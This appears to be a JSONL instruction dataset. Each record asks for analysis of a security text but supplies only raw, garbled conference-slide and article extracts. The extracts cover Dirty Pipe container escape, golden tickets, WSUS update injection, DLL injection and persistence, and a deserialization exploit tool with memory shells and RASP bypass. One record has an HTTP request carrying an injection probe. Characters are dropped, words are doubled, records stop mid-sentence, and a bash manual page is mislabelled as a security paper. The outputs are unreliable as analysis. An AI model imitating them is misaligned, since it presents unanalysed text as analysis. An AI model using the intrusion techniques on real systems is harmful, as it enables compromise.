"请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nPractical Aerial Hacking & Surveillance Glenn Wilkinson SensePost DefCon 2014 @glennzw Glenn Wilkinson @glennzw SensePost.com @glennzw @glennzw @glennzw @glennzw @glennzw Practical Aerial Hacking & Surveillance? @glennzw https://www.eff.org/issues/surveillance-drones https://www.eff.org/deeplinks/2012/01/drones-are-watching-you @glennzw https://www.youtube.com/watch?v=BlVjdUkrSFY @glennzw Overview 1.Aerial Platform 2.Ground control / automation 3.Hacking / surveilling payload 4.A methodology @glennzw 1. Aerial Platform Multi-rotor vs Fixed wing Flight controller Cameras GPS @glennzw Wing vs Multi-rotor @glennzw Flight Controller @glennzw Cameras @glennzw Cameras @glennzw GPS @glennzw Other considerations Battery ESC Motors / propellers @glennzw Form Factor Practicality Barrier to entry Practicality @glennzw 2. Ground Control / Automation @glennzw http://www.qgroundcontrol.org/ @glennzw www.DroneDeploy.com @glennzw 3. Payload @glennzw @glennzw D.T.F @glennzw @glennzw @glennzw @glennzw @glennzw @glennzw Its open source! In progress: GSM, iBeacon, SDR, ZigBee, ANT, NFC, RFID Other ideas: OpenCV, physical detection https://github.com/sensepost/snoopy-ng @glennzw 4. Methodology Vehicle Payload Autonomy Ground Control @glennzw Use Cases @glennzw Use Cases @glennzw Use Cases @glennzw Use Cases DeAuth DeAuth DeAuth @glennzw [Video Demo] @glennzw Snoopys friends... @glennzw Retail @glennzw Military @glennzw Text http://dronesurvivalguide.org @glennzw The good! @glennzw Site launch! http://www.sensepost.com/blog @glennzw #SnoopySensor @glennzw http://www.sensepost.com/blog @glennzw Mana From Heaven: Improving the state of wireless rogue AP attacks Saturday, 4pm, Penn & Teller @glennzw glenn@sensepost.com jobs@sensepost.com http://research.sensepost.com/", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n--- title: 从脏管道到 Docker 逃逸 ---

从脏管道CVE-2022-0847到 Docker 逃逸

本文作者happi0

--- ## 一利用条件与限制 ### 利用条件 * 有可读权限或者可以传回文件的文件描述符 * 有漏洞的内核 ### 利用的限制 * 第一个字节不可修改并且单次写入不能大于 4k * 只能单纯覆盖不能调整文件大小 * 由于漏洞基于内存页所以不会对磁盘有影响 ## 二与 Docker 的关系 由于 Docker 和宿主机是共享内核尽管与其他进程资源是隔离开的内核漏洞也很可能会对 Docker 容器造成安全问题 ### 对于容器的影响 由于 Docker 本质上是由一组互相重叠的层所组层的然后容器引擎将其合并到一起原本这些层都是只读的但由于脏管道漏洞的影响我们可以在 `u1` 容器里修改 `/etc/passwd` 使得 `u2` 容器的 `/etc/passwd` 被修改 ### 利用 CAP_DAC_READ_SEARCH 实现容器逃逸 通过利用 `CAP_DAC_READ_SEARCH` 与脏管道可以实现覆盖主机文件, 该攻击手段可以在 Github 看到详细过程地址 [github.com/greenhandatsjtu/CVE-2022-0847-Container-Escape](https://github.com/greenhandatsjtu/CVE-2022-0847-Container-Escape) 这里实际上主要是 `CAP_DAC_READ_SEARCH` 可以调用 `open_by_handle_at`, 从而获得主机文件的文件描述符再配合脏管道于是就可以修改主机文件了
这种攻击方式非常简单核心就是获得文件的文件描述符即可 ### 通过 runC 实现容器逃逸 一个容器开启时可以分为以下三步 * fork 创建子进程 * 初始化容器化环境 * 将执行流重定向到用户提供的入口点 对于第三步以大名鼎鼎的 `CVE-2019-5736` 为例当重定向入口点时容器内的`/proc/self/exec` 与主记的 `runc` 二进制文件相关联 因此可以通过在容器内写入该文件描述符实现容器逃逸 对于 `CVE-2019-5736` 的修复可以参见[github.com/opencontainers/runc/commit/0a8e4117e7f715d5fbeef398405813ce8e88558b](https://github.com/opencontainers/runc/commit/0a8e4117e7f715d5fbeef398405813ce8e88558b)
由于篇幅原因这里不跟进 `CVE-2019-5736` 的修复的具体代码直接看 `git commit` 了解修复逻辑 可以看到修复逻辑是克隆 `/proc/self/exec` 避免容器内部直接获取 `runC`然而很快开发者修改了修复逻辑参见[github.com/opencontainers/runc/commit/16612d74de5f84977e50a9c8ead7f0e9e13b8628](https://github.com/opencontainers/runc/commit/16612d74de5f84977e50a9c8ead7f0e9e13b8628)
可以看到开发者认为克隆导致的内存开销太大了可能造成 `OOM` 或者其他问题把修复逻辑改成了只读挂载 这里联想到上文总结的 `脏管道` 的利用条件和利用效果发现刚好契合
这里的利用主要参考了这里的内容[securitylabs.datadoghq.com/articles/dirty-pipe-container-escape-poc/](https://securitylabs.datadoghq.com/articles/dirty-pipe-container-escape-poc/) 主机执行 `docker exec -it u1 /bin/sh` 后 `/usr/sb", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBio SecurityResearcher/Tester(HarrisCorp) FormerArmyRedTeamOperator OneofthedevelopersofPowerSploit Twitter:@obscuresec Blog:www.obscuresec.com Sayhellotokrbtgt Hesbeenheresincethebeginning TheEarlyYears:20012004 GrowingPains:20052008 MaturityRealized:20092012 MemeCount:1 SkeletonsintheCloset:20132014 MemeCount:2 http://blog.gentilkiwi.com/securite/mimikatz/goldenticketkerberos Howoldisyourkrbtgt hash? Knowwhereyourkrbtgt hashis? Thepointis Ifyourenterprisehaseverbeen compromised,itmaystillbecompromised evenifyouchangedeverypassword. Wescansowearesecure Goodluckwiththat MemeCount:3 SpoofedPACAttack GoldenTicketAttack https://twitter.com/gentilkiwi/status/415147415474167808 DemoTime Mitigation Dontgetownedagain UseRODCwhereappropriate Upgradefunctionallevel Resetthekrbtgt accountpasswordonthe PDCemulatorTWICE Detection Needleinahaystack HardertodetectthanPtH Lookforstrangeaccountactivity Lowprivilegedaccountperformingprivileged actions Thanks SkipDuckwall BenjaminDelpy JoeBialek WillPeteroy CarlosSpicyweiner MattGraeber Manyothers Questions?", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nWiddershins: The Hacker Nation Simple Nomad DefCon X - 2002 About Me/This Talk NMRC BindView Skills Needed NMRC BindView Skills Needed NMRC BindView Skills Needed The Year In Review DMCA muscle is flexed. Terrorism. Legislation clarifies various portions of previous laws. More knee-jerk legislation on the way. The Problem: Packeteering Satan's Network (Programming Satan's Computer - Ross Anderson and Roger Needham 1995) What Can Satan Sniff? During the question and answer session, an interesting discussion ensued. Here is a quote from conference attendee Viktor Mayer-Schoenberger: \"Both presenters explicitly acknowledged that a number of anonymous remailers in the US are run by government agencies scanning traffic. Marlow said that the government runs at least a dozen remailers and that the most popular remailers in France and Germany are run by the respective government agencies in these countries. In addition they mentioned that the NSA has successfully developed systems to break encrypted messages below 1000 bit of key length and strongly suggested to use at least 1024 bit keys. They said that they themselves use 1024 bit keys.\" \"Anonymous Re-mailers as Risk-Free International Infoterrorists\" presented by Paul Strassmann, National Defense University and William Marlow, Science Applications International Corporation. Presented at the \"Information, National Policies, and International Infrastructure\" conference at Harvard Law School, Cambridge, Massachusetts, January 30, 1996. http://www.strassmann.com/pubs/anon-remail.html http://ksgwww.harvard.edu/iip/GIIconf/gii2age.html http://catless.ncl.ac.uk/Risks/17.87.html#subj6 What Can Satan Sniff? \"Disclosing the method of attacking PGP would involve disclosing classified cryptographic analysis methods (I was taught by the government), and such a disclosure to uncleared persons would be seriously illegal (in wartime such a disclosure carries the death penalty). Seriously though, I would love to lay out the holes in seve", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n#BHUSA @BlackHatEvents Better Privacy Through Offense: How To Build a Privacy Red Team Scott Tenaglia Engineering Manager, Privacy Red Team, Meta #BHUSA @BlackHatEvents Information Classification: General Agenda 01 The Case for Offensive Privacy 02 Security and Privacy 03 Metas Privacy Red Team 04 Operations Ideas 05 Final Thoughts #BHUSA @BlackHatEvents Information Classification: General This talk is... The start of a conversation about offensive privacy. Potentially a blueprint for how your company could create a similar team or offering. To help you understand how privacy red teaming fits into a holistic privacy program. This talk is not... A product or service pitch. A conversation about any other aspect of Meta beyond privacy red teaming. About absolutes. The final word on this topic. #BHUSA @BlackHatEvents Information Classification: General Agenda 01 The Case for Offensive Privacy 02 Security and Privacy 03 Metas Privacy Red Team 04 Operations Ideas 05 Final Thoughts #BHUSA @BlackHatEvents Information Classification: General Have you ever... Been on an op, come across some PII, but dont know what to do about it? Been asked to start recording access to user data as a finding? Been asked to perform a more privacy-focused assessment? Had a finding but no one cared because it have enough security impact? #BHUSA @BlackHatEvents Information Classification: General Security and Privacy programs help mitigate risk. Perceived Risk Mitigations Red Team *Image courtesy of the NIST Privacy Framework https://www.nist.gov/privacy-framework/privacy-framework Red teams identify actual risk by testing mitigations from an adversarial perspective. Mitigations are a combination of people, process, and technology (i.e., a blue team). #BHUSA @BlackHatEvents Information Classification: General Scraping Red Team Scanning Identify the actual risk to systems and networks. *Image courtesy of the NIST Privacy Framework https://www.nist.gov/privacy-framework/privacy-framework", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n公司介绍 宜信创立于2006年从事普惠金融和财富管理事业的金融科技企业在支付 网贷众筹机器人投顾智能保险区块链等前沿领域积极布局通过业务孵化和 产业投资参与全球金融科技创新 成立十二年以来始终坚持以理念创新模式创新和技术创新服务中国高成长性人群 大众富裕阶层和高净值人士真正的让金融更美好 宜人宜己美好生活 部门介绍 宜信安全部直属于宜信总公司承接总部及所有子公司的安全需求为公司的业务安全保驾护航 安全部成4年以来弥补了公司安全基础建设的缺失发展至今组建了覆盖网络应用主机终端 数据逐层渗透的前沿安全架构每一步都凝聚着肩负亿万用户信息和财产安全的责任 2018年我们在传统安全架构上引入了当前热点科技将人工智能与大数据技术融合到当前的安全架构 中将资产漏洞风控和管理有机结合到一起构建用户画像为实现安全态势感知与威胁情报预警 奠定了基础 自研的洞察漏洞管理平台在GitHub上进行了开源借此帮助更多金融科技的行业伙伴完成自动 化风险全生命周期的管理并实现风险的可量化共建互联网金融行业的安全生态 产品工具种类繁多学习和切换成本较高 人工使用工具获取资产数据和进行结果处理耗时耗力 安全工具功能单一且无法协同使用 安全产品学习和运维成本高 安全检测网络环境多样化 IDC多IDC ,办公网公网单一扫描节点无法满足复杂的需求 问题和痛点 疲于工具的学习和使用 乐于技能提高专注风险本身 解决思路 0x01 谈谈分布式 基于任务队列的分布式扫描 1. 难以将扫描功能解耦合 2. 分发后聚合实现比较繁琐 3. 扫描模块调用接口不统一 基于MapReduce模型分布式扫描 1. 易于任务数据分片和结果聚合 2. 调用链使用简单 3. P2P方式进行数据传输效率高 举个栗子 举例说明任务数据分片和任务链过程: 子域名扫描->端口扫描-> 弱口令扫描 域名1 域名2 域名n 域名 列表 子域名扫描 IP1 IP2 IPm 端口扫描 端口1 端口2 端口o 弱口令扫描 聚合 结果 异步执行 举个栗子 举例说明任务数据分片和任务链过程: 子域名扫描->端口扫描-> 弱口令扫描 域名1 域名2 域名n 域名 列表 子域名扫描 IP1 IP2 IPm 端口扫描 端口1 端口2 端口o 弱口令扫描 聚合 结果 异步执行 0x02 功能可扩展易于开发 插件开发 开发过程简化 将重复的工作抽象出来封装起来例如安全通信任务监控数据传输等 等 提供协程线程进程任务执行粒度支持 Python依赖自动检测并安装 结果保存为JSON方便后续使用 HelloWorld示例 任务状态 CRON表达式任务参数执行次 数执行花销时间优先级等信息 Blade扫描器与分布式平台 Agent Agent Agent Blade Agent Scheduler 调 度 器 集 群 单 机 便于单机开发和测试 Blade扫描器-命令行模式 Blade扫描器-Web模式 插件易于分发 复用一键打成Zip包和Zip包导入 vs PoC 偏向于功能级别的插件 多种响应方式 平台响应 邮件响应 第三方即时通讯接口响应 平台响应 漏洞名称描述以及扫描和更新时 间 邮箱响应 任务运行时的异常 第三方即时通信响应 0x03 架构可扩展 分布式架构 Ngnix Flask APP Web MSG Consumer DB Flask APP Flask APP Flask APP Scheduler MQ - Redis Agent Agent Agent 负载均衡 授权通信 超时重传 压缩与序列化 JSON/TCP ZMQ+IOLOOP 异步高并发 通 信 层 调 度 层 Web 层 Gunicorn 前后端分离 JWT认证和鉴权 Python原生实现定时任务 SQLite 集 群 架构扩展 Ngnix Scheduler Redis Cluster Broker Scheduler Scheduler Agent Agent Agent Agent Agent Agent Gunicorn Load Balancing Web Flask APP Flask APP DB Proxy Consumer Gunicorn Web Flask APP Flask APP Consumer Gunicorn Web Flask APP Flask APP Consumer DB Write DB Read DB Read 0x04 节点可扩展 节点简单部署 1. 一键安装 pip install blade.whl 2. 配置Scheduler Server地址并启动如 192.168.1.2:5559 支持配置文件方便使用自动化运维分发部署 如有环境依赖提", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# The Best of Times Category: Forensics, 150 Points ## Description > An obscure entity, known only as \"K9\" has contacted the agency. > > The message states that they have sniffed out a flag from right under our noses, and it is now up to you to find which integral part of our communication has been compromised and revoke its validity! A binary file was attached. ## Solution Let's check the binary file: ```console root@kali:/media/sf_CTFs/matrix/The_Best_of_Times# cat dump.bin | head 45 00 00 4a 31 0e 40 00 40 11 a9 bc c0 a8 ef 84 c0 a8 ef 02 45 00 00 5a af 89 00 00 80 11 2b 31 c0 a8 ef 02 c0 a8 ef 84 45 00 00 47 b0 9d 00 00 80 06 c9 66 34 23 dc 5c c0 a8 ef 84 45 00 00 28 aa 31 40 00 40 06 cf f1 c0 a8 ef 84 34 23 dc 5c 45 00 00 4b aa 32 40 00 40 06 cf cd c0 a8 ef 84 34 23 dc 5c 45 00 00 28 b0 9e 00 00 80 06 c9 84 34 23 dc 5c c0 a8 ef 84 45 00 00 4f 61 61 40 00 40 06 69 53 c0 a8 ef 84 ac d9 12 ee 45 00 00 28 b0 9f 00 00 80 06 1a 3c ac d9 12 ee c0 a8 ef 84 ``` It's an ASCII file containing what looks like a HEX dump. Let's convert it into a real binary file: ```console root@kali:/media/sf_CTFs/matrix/The_Best_of_Times# cat dump.bin | xxd -r -p > hexdump.bin root@kali:/media/sf_CTFs/matrix/The_Best_of_Times# xxd -g 1 hexdump.bin | head 00000000: 45 00 00 4a 31 0e 40 00 40 11 a9 bc c0 a8 ef 84 E..J1.@.@....... 00000010: c0 a8 ef 02 45 00 00 5a af 89 00 00 80 11 2b 31 ....E..Z......+1 00000020: c0 a8 ef 02 c0 a8 ef 84 45 00 00 47 b0 9d 00 00 ........E..G.... 00000030: 80 06 c9 66 34 23 dc 5c c0 a8 ef 84 45 00 00 28 ...f4#.\\....E..( 00000040: aa 31 40 00 40 06 cf f1 c0 a8 ef 84 34 23 dc 5c .1@.@.......4#.\\ 00000050: 45 00 00 4b aa 32 40 00 40 06 cf cd c0 a8 ef 84 E..K.2@.@....... 00000060: 34 23 dc 5c 45 00 00 28 b0 9e 00 00 80 06 c9 84 4#.\\E..(........ 00000070: 34 23 dc 5c c0 a8 ef 84 45 00 00 4f 61 61 40 00 4#.\\....E..Oaa@. 00000080: 40 06 69 53 c0 a8 ef 84 ac d9 12 ee 45 00 00 28 @.iS........E..( 00000090: b0 9f 00 00 80 06 1a 3c ac d9 12 ee c0 a8 ef 84 .......<.......", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nWSUSpendu ANSSI Romain Coltel Romain.Coltel@Alsid.eu Yves Le Provost Yves.Le-Provost@ssi.gouv.fr 2 WSUSpendu Contents Introduction 5 WSUS and network architecture 7 1.1 Architectures presentation 7 1.2 Auto approved updates 10 1.3 State of the art - WSUSpect and technical limitations 11 WSUS internals 13 2.1 IIS Webservice 13 2.2 Database 15 2.3 WSUS service 15 Injecting a new update 17 3.1 Interaction with the database 17 3.2 Update metadata 17 3.3 Updates binary upload 20 3.4 Injecting in the database 21 3.5 Targeting a specific client 22 3.6 Update deployment 22 Introducing WSUSpendu 23 Auditing WSUS 25 Microsoft network architecture issues 27 6.1 Administration principles 27 6.2 One WSUS server for multiple forests 27 6.3 A WSUS server for a disconnected network 28 Recommendations 29 7.1 Securing the WSUS service itself 29 3 WSUSpendu 7.2 Multiple WSUS servers architectures 29 7.3 Disconnected networks case 30 Conclusion 31 Bibliography 33 4 WSUSpendu Introduction WSUS is a Microsoft service that deploys updates on the computer park depending on the organizations needs, which is essential for a secured infrastructure. Easy to use and to install, it is possible to adapt it according to the different patch policy of every organization. However, the services purpose is to install softwares (patches in that case) on a large number of operating systems. Thus it is easy to understand that a misuse of its legitimate functionality could be critical for the network security. Such a case has been presented by Paul Stone and Alex Chapman during Black Hat 2015 [3]. Their presentation resulted on the provision of a new tool named WSUSpect. This tool was created to exploit a MITM attack and to inject an additional and malicious update in the connection between client and server. However, an attacker will not always be able to use this tool, especially if network protections have been configured. In another case, an update server could be placed at the border of the network (t", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nshift === 移动位置参数 ## 概要 ```shell shift [n] ``` ## 主要用途 - 将位置参数`$n, $n+1...`重命名为`$1, $2...` ## 参数 n可选大于等于1且小于等于参数个数的整数默认为1 ## 返回值 返回成功除非n大于参数个数或n小于1以及其他非法值 ## 例子 假设我们的脚本文件test.sh如下 ```shell #!/usr/bin/env bash # 显示前三个位置参数 echo \"$1 $2 $3\" # 移除前两个位置参数并将$3重命名为$1之后的以此类推 shift 2 echo \"$1 $2 $3\" ``` 在终端执行该脚本 ```shell sh test.sh q w e r t ``` 返回信息如下 ```shell q w e e r t ``` ### 注意 1. 该命令是bash内建命令相关的帮助信息请查看`help`命令", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHITCON GIRLS Wargame 2014/12/07 Allen Own allenown@devco.re GET / HTTP/1.1 Host: devco.re User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:33.0) Gecko/ 20100101 Firefox/33.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-tw,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://devco.re/ Cookie: user=admin X-Forwarded-For: 127.0.0.1' Connection: keep-alive", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n[ ysuserial ] 某动在即为助在线防守的伙伴特发此项帮助伙伴们更效更快速的针对 Java 反序列化漏洞进检及安全修复 本项为 ysoserial [su18] 专版取名为 ysuserial 在原项 ysoserial 基础上魔改来主要有以下新添加功能 1. 基础链版本的覆盖原版反序列化链可能仅限于某个版本本项添加了如 CB/C3P0 等链的低版本可键 getshell 的版本 覆盖更 2. 利链的扩充和丰富在原版基础上添加了多条利链扩展利式更够在依赖不确定利式有限制的情况扩展更多的攻击 路径 3. 利式的填充原版的利链的利式仅使了 Runtime 执系统命令本项添加了多种利式并持执定义任意 代码 4. 利链探测本项在 URLDNS 中添加了利链的探测在攻击中不再盲乱打先通过 DNSLOG 检测类名再执攻击 5. 内存本项在利时对于部分链持了键打 Spring/Tomcat 内存功能内存持命令执冰蝎哥斯拉三种利 式并持 Tomcat 回显命令执Neoreg 流量隧道内存 6. 防御绕过在部分系统中使了 WAF/RASP 等防御模式本项去除多数原版特征并在执恶意动作时使了多种能够绕过 RASP 的执式绕过防护 7. MSF/CS 上线配合远程 Jar 包键上线 MSF/CS 的功能集成体快步 项持利链展示 $ java -jar ysuserial-0.1-su18-all.jar _.-\"\"#....,,\"$ _\"$ \"$_ < >) | Y Su Serial ? | \\._ _./ ```\"$. . , ; .\"$''' | | | .-=\"& | \"'-. `-=#$%&%$\"(-' | ; :| _____.,-#%&$@%#&#~,._____ _____.,[ 暖熏得游醉 ],._____ _____.,[ 只把杭州作汴州 ],._____ [root\")~ A Mind-Blowing Tool Collected By [ su18@javaweb.org ] [root\")~ Shout Out to Yzmm / Shxjia / Y4er / N1nty / C0ny1 / Phith0n / Kezibei [root\")~ AND OF COURSE TO THE All MIGHTY @frohoff [root\")~ Usage: java -jar ysuserial-0.1-su18-all.jar [payload] '[command]' [root\")~ Available payload types: Jun 19, 2022 11:54:53 PM org.reflections.Reflections scan INFO: Reflections took 195 ms to scan 1 urls, producing 26 keys and 230 values Payload Authors Dependencies ------- ------- ------------ AspectJWeaver @Jang aspectjweaver:1.9.2, commons- collections:3.2.2 BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5 C3P0 @mbechler c3p0:0.9.5.2, mchange-commons- java:0.2.11 C3P092 @mbechler c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8, mchange-commons-java:0.2.11 Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0 Clojure @JackOfMostTrades clojure:1.8.0 CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 CommonsBeanutils1183NOCC commons-beanutils:1.8.3 CommonsBeanutils2 commons-beanutils:1.9.2 CommonsBeanutils2NOCC commons-beanutils:1.8.3, commons-logging:1.2 CommonsBeanutils3 commons-beanutils:1.9.2, commons-collections:3.1 CommonsBeanutils3183 common", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 The Evolution of The Evolution of Windows Spyware Techniques Windows Spyware Techniques Birdman Birdman birdman@chroot.org birdman@chroot.org birdman@xsolve.com birdman@xsolve.com ccbirdman@gmail.com ccbirdman@gmail.com HIT2005 HIT2005 22 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Welcome ! Welcome ! Hello everyone, This is Hello everyone, This is Birdman Birdman.. WARNING WARNING -- Contents of this Contents of this presentation are for presentation are for **Educational Purposes Educational Purposes ONLY ONLY**.. It is strongly suggested It is strongly suggested that you do not use this that you do not use this knowledge for illegal knowledge for illegal purposes!........ purposes!........plz plz 2 33 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Outline Outline 1. 1. What is Spyware? What is Spyware? 2. 2. The Techniques In The Past The Techniques In The Past 3. 3. The Spyware of Nowadays The Spyware of Nowadays 4. 4. Stealth Tricks Stealth Tricks 5. 5. Anti Anti--Spyware Techniques Spyware Techniques 6. 6. Conclusion Conclusion 44 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 1. What is Spyware? 1. What is Spyware? Too Many Fake Jargons !? Too Many Fake Jargons !? In many news papers, magazines or reports, you In many news papers, magazines or reports, you must have heard about the following terms: must have heard about the following terms: Joke, Logic Bomb, Trojan, Backdoor, Worm, Dropper, Germ, Intended, Malware, Riskware, Spyware, Adware, Ghostware, Keylogger, Rookit, Harmful Program. But What But Whats It !? s It !? Don Dont care about those dazed words !! Because it is very t care about those dazed words !! Because it is very difficult to make proper definitions, they are just difficult to make proper definit", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nGe#ng&Windows&to&Play&with&Itself5 A\"Hackers\"Guide\"to\"Windows\"API\"Abuse\" \" Brady\"Bloxham\" Founder/Principal\"Security\"Consultant\" @silentbreaksec\" hCp://www.silentbreaksecurity.com\" hCp://www.blacksquirrel.io\"\" Background5 Shorten\"the\"gap\"between\" penetraHon\"test\"and\"actual\"aCack\" Few\"covert\"persistence\"tools\" Reduce\"reliance\"on\"Metasploit\" Got&a&lot&to&cover5 DLL\"InjecHon\" Persistence\" Throwback\" Lots\"of\"demos\"along\"the\"way\" DLL&Injec?on5 TradiHonal\"methods\" CreateRemoteThread()\" NtCreateThreadEx()\" RtlCreateUserThread()\" NtQueueApcThread\"()\" Can\"blue\"screen\"certain\"OSes\" Code\"Cave\" Suspend\"process\" Inject\"code\" Change\"EIP\"to\"locaHon\"of\"injected\"code\" Resume\"process\" Difficult\"on\"x64\" AddMonitor()5 +\" Injects\"into\"spoolsv.exe\" Doesnt\"require\"matching\"\" architecture\" Easy\"to\"use\" \\\" Dll\"must\"be\"on\"disk\" Requires\"administrator\"privs\" Dll&Injec?on&Demo5 Persistence5 Lots\"of\"persistence\"in\"Windows\" Service\"\" Run\"keys\" Schtasks\" \" And\"lots\"sHll\"to\"find\" Lots\"of\"techniques\" Process\"monitor\" Hook\"LoadLibrary()\" Persistence5 1st\"Technique\" Requires\"VMware\"Tools\"be\"installed\" Just\"drop\"a\"dll\"to\"disk\" c:\\windows\\system32\\wbem\\ntdsapi.dll\" Note:\"Dll\"must\"export\"same\"funcHons\"as\"\" real\"ntdsapi.dll\" 2nd\"Technique\" VMware\"patched\"in\"ESXi\"5.5\" Requires\"VMware\"Tools\"be\"installed\"\" Just\"drop\"a\"dll\"to\"disk\" c:\\windows\\system32\\wbem\\tpgenlic.dll\" c:\\windows\\system32\\wbem\\thinmon.dll\" Windows( Persistence5 3rd\"Technique\" HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\\" Create\"a\"new\"key\"\" Create\"a\"new\"value\"named\"Driver\"with\"the\"dll\"name\" Create\"as\"many\"as\"you\"like\" Persistence&Demo5 Windows&API&HTTP&Cheatsheet5 WinHTTP\" Intended\"for\"services\" Does\"not\"pull\"user\"proxy\"seings\" Supports\"impersonaHon\" WinINet\" More\"robust\"in\"proxy\"environment\"\" Variety\"of\"flags\"that\"enable/disable\"funcHonality\"automaHcally\" Prompts\"user\"for\"password\"if\"authenHcaHon\"is\"required\" Uses\"IE\"seings\" What&is&Throwback?5 C++\"HTTP/S\"beaconing\"backdoor\" ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nMax Goncharov, Philippe Lin 2015/8/28-29 Your Lightbulb Is Not Hacking You Observation from a Honeypot Backed by Real Devices 1 2 Hit-Point ねこあつめ $ whoami Philippe Lin Staff engineer, Trend Micro (x) Maker (o) Cat Feeder 3 $ whoami Max Goncharov Senior Threat Researcher, Trend Micro (x) Evil Russian Hacker (o) Ethnical Russian Hacker 4 IoT Devices Surveillance System 5 IoT Devices Smart Alarm 6 IoT Devices Garage Door Controller 7 IoT Devices Philips hue / WeMo Switch 8 IoT Devices Door Lock 9 IoT Devices Thermostat 10 IoT Devices Wireless HiFi & SmartTV 11 IoT Devices Game Console 12 IoT Devices Wireless HDD 13 IoT Devices Blu-ray Player 14 IoT Devices IPCam 15 IoT Devices Kitchenware 16 IoT Devices Personal Health Devices 17 Yes, IoT is hot and omnipresent 18 Credit: IBM, iThome and SmartThings. 19 19 Credit: Apple Daily, Weird, net-core 20 Credit: Tom Sachs (2009) Methodology Taipei from March 23 - July 23, 2015 Munich from April 22 - June 22 URL / credential randomly pushed on Shodan and Pastebin Faked identity, Avatar Facebook Dyndns Skype private documents in WDCloud 21 Taipei Lab 22 Block Diagram Taipei Lab 23 Raspberry Pi 2 114.34.182.36 (PPPoE / HiNet) 192.168.42.11 D-Link D-931L (80) 192.168.42.12 Philips Hue Bridge (80, UDP 1900) 192.168.43.52 LIFX WiFi Bulb (TCP/UDP 56700) 192.168.43.53 Wii U (X) 192.168.43.54 Google Glass (X) wlan0 eth1 eth0 Munich Lab 24 Block Diagram Munich Lab 25 Banana Pi R1 192.168.186.47 iMAC PowerPC (22) 192.168.186.45 Samsung SmartTV UE32H6270 (DMZ) 192.168.43.50 Grundig LIFE P85024 (X) 192.168.43.46 Samsung SmartCam SNH-P6410BN (80) wlan0 eth1 192.168.186.21 AppleTV (5000, 7000, 62078) 192.168.186.18 WD My Cloud 2TB (22, 80, 443, Samba) Munich Lab: Fake D-Link DIR-655 26 http://tomknopf.homeip.net/ Why Backed by Real Devices? Shodan knows and so do hackers 27 Now, the lousy part ... 28 D-Link DCS-931L IPCAM No more blank password. Set to 123456. My D-Link cloud service I failed to enable it. ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nThe$env:PATH lessTraveledisFull ofEasyPrivilegeEscalationVulns Bio SecurityResearcher/Tester(HarrisCorp) FormerArmyRedTeamOperator OneofthedevelopersofPowerSploit Twitter:@obscuresec Blog:www.obscuresec.com Sucksalotlessnow Gettingevenbetter OneGet ChocolateyNuget PSGet Alloftheseutilitiesaregreatfor: Simplifying3rdpartypatching Researchingvulnerabilities CTFbuilders OneGet OneGet isanewwaytodiscoverandinstall softwarepackagesfromaroundtheweb. Itletsyouseamlesslyinstallanduninstall packagesfromoneormorerepositorieswitha singlePowerShellcommand. OneGet willshipwithPowerShellv5 PointedtoChocolateyRepobydefault https://github.com/OneGet/oneget ChocolateyNuget Packagemanagerandreposerverwithalmost 4milliondownloads Over30contributors Microsoftsupportedopensourceproject https://chocolatey.org/ PSGet SecurityReview Requestedtodoareview StartedwithoneVM Triedtoinstall1800chocolatey packages Welltheresyourfirstproblem SecurityReview(continued) Created25Windows7/8VMs Scriptedinstallationacrossthem Still2bluescreensafterrebooting ScriptedsubmittinghashestoVirusTotal 100newhashes 31packageswithdetections PrivilegeEscalation Usedtheopportunitytowriteanewtool lookedforcommonprivilegeescalationvulns %PATH%based Filepermissionbased Servicepermissionbased Dllpreloading FoundabunchandcouldtunewiththeVMs Disclosuresucks MostwereapplicationsthatIhadneverheardof RepositoryServers Mustbetrusted Chocolateyrepositoryisthemostpopular Allowscontributionsfromnondevelopers MustbeenabledinOneGet Thepackagemanagersinheritvulnerabilities fromthereposerver ChocolateyPackages The$env:PATH PSv3usesthePATH Soausercan Iseewhatyoudidthere Beforethefix DemoTime Thanks MattGraeber JoeBialek WillSchroeder WillPeteroy LeeHolmes Manyothers Questions?", "category": "text_analysis", "source": 